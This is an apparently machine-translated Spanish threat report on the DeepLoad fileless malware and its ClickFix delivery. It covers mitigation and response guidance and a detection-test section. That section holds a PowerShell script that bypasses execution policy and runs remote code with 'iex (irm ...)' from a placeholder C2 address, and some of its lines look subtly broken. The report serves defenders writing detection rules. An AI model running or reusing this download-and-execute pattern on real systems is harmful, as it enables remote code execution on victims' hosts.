El malware DeepLoad combina la entrega ClickFix con evasión generada por IA

Resumen

DeepLoad es una familia de malware sin archivo distribuida a través de ingeniería social de ClickFix. Se basa en un cargador de PowerShell ofuscado, inyección de shellcode en memoria en procesos confiables de Windows, y ‘ruido’ generado por IA para reducir la fidelidad de la detección estática. El cargador establece persistencia utilizando una tarea programada y suscripciones a eventos WMI, puede propagarse a través de medios USB y roba credenciales a través de una extensión de navegador malintencionada y un componente companion filemanager.exe.

Investigación

El informe describe el acceso inicial comenzando con un comando de PowerShell ejecutado por la víctima, seguido de la recuperación del cargador a través de mshta.exe. El cargador utiliza Add-Type para generar un DLL temporal en tiempo de ejecución, luego inyecta shellcode en LockAppHost.exe utilizando inyección basada en APC. La persistencia se mantiene mediante una tarea programada y una suscripción a eventos WMI oculta capaz de restablecer la infección incluso después de la limpieza, con una ventana de retraso de aproximadamente tres días. El robo de credenciales se atribuye a filemanager.exe junto con una extensión de navegador maliciosa que opera en paralelo.

Mitigación

Habilitar Registro de Bloques de Script de PowerShell y alertar sobre cadenas de ejecución de PowerShell sospechosas. Auditar la actividad de red saliente de mshta.exe, monitorear la creación inesperada de tareas programadas y detectar el uso anómalo de QueueUserAPC indicativo de inyección APC. Durante la remediación, enumerar y eliminar explícitamente las suscripciones a eventos WMI en lugar de confiar únicamente en la limpieza de archivos/registro. Rotar las credenciales expuestas y eliminar cualquier extensión no autorizada del navegador para cortar las rutas de recolección de credenciales.

Respuesta

Si se detecta actividad de DeepLoad, aislar el host, detener la actividad de PowerShell maliciosa y terminar cualquier proceso inyectado. Eliminar la tarea programada y borrar la suscripción WMI asociada, luego erradicar filemanager.exe y la extensión de navegador maliciosa. Rotar todas las credenciales potencialmente comprometidas, sanitizar cualquier medio USB conectado, y validar el sistema para detectar artefactos de inyección residuales antes de devolverlo al servicio.

Palabras clave: DeepLoad, ClickFix, malware sin archivo, cargador de PowerShell, mshta.exe, Add-Type, shellcode en memoria, inyección APC, QueueUserAPC, LockAppHost.exe, persistencia de tarea programada, suscripción a eventos WMI, propagación USB, extensión de navegador maliciosa, robo de credenciales.

Ejecución de Simulación

Prerrequisito: El Chequeo de Previo de Telemetría y Línea Base debe haber pasado.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta que espera la lógica de detección. Ejemplos abstractos o no relacionados llevarán a un diagnóstico erróneo.

• Narrativa del Ataque y Comandos:

  1. Acceso inicial: El atacante tiene una sesión de PowerShell de bajo privilegio en el host de la víctima.
  2. Omitir política de ejecución: Inicia PowerShell con -ep Bypass para ignorar cualquier restricción de ejecución de scripts.
  3. Compilar una carga útil .NET: Usando Add-Type, integran una pequeña clase C# que, cuando se instancia, realiza una solicitud web al servidor C2 (http://10.0.0.5:3015/index).
  4. Descargar y ejecutar script remoto: El atacante pasa el resultado de irm (Invoke‑RestMethod) en iex, ejecutando el script malicioso en memoria.
  5. Telemetría resultante: La línea de comando registrada por el sistema operativo contiene las tres cadenas requeridas (-ep Bypass, Add-Type, iex(irm http://…:3015/index)), cumpliendo con la regla de Sigma.

• Script de Prueba de Regresión:

  # Ejecución maliciosa similar a DeepLoad
  # Este script reproduce el patrón exacto de comando requerido para disparar la regla de Sigma.
  $c2 = "http://10.0.0.5:3015/index"
  $payload = @"
  using System;
  using System.Net;
  public class Loader {
  public static void Run() {
      new WebClient().DownloadString(""$c2"");
  }
  }
  "@
  # Iniciar PowerShell con el modo bypass, compilar la carga útil, luego ejecutar el script remoto
  powershell -NoProfile -ExecutionPolicy Bypass -Command `
      "Add-Type -TypeDefinition `$payload; `
       iex (irm $c2)"

• Comandos de Limpieza:

  # Eliminar cualquier archivo temporal o ensamblaje cargado (si persiste)
  Remove-Item -Path "$env:TEMPloader.dll" -ErrorAction SilentlyContinue
  # Opcionalmente, limpiar la transcripción de PowerShell (si está habilitada)
  Clear-Host

Fin del Informe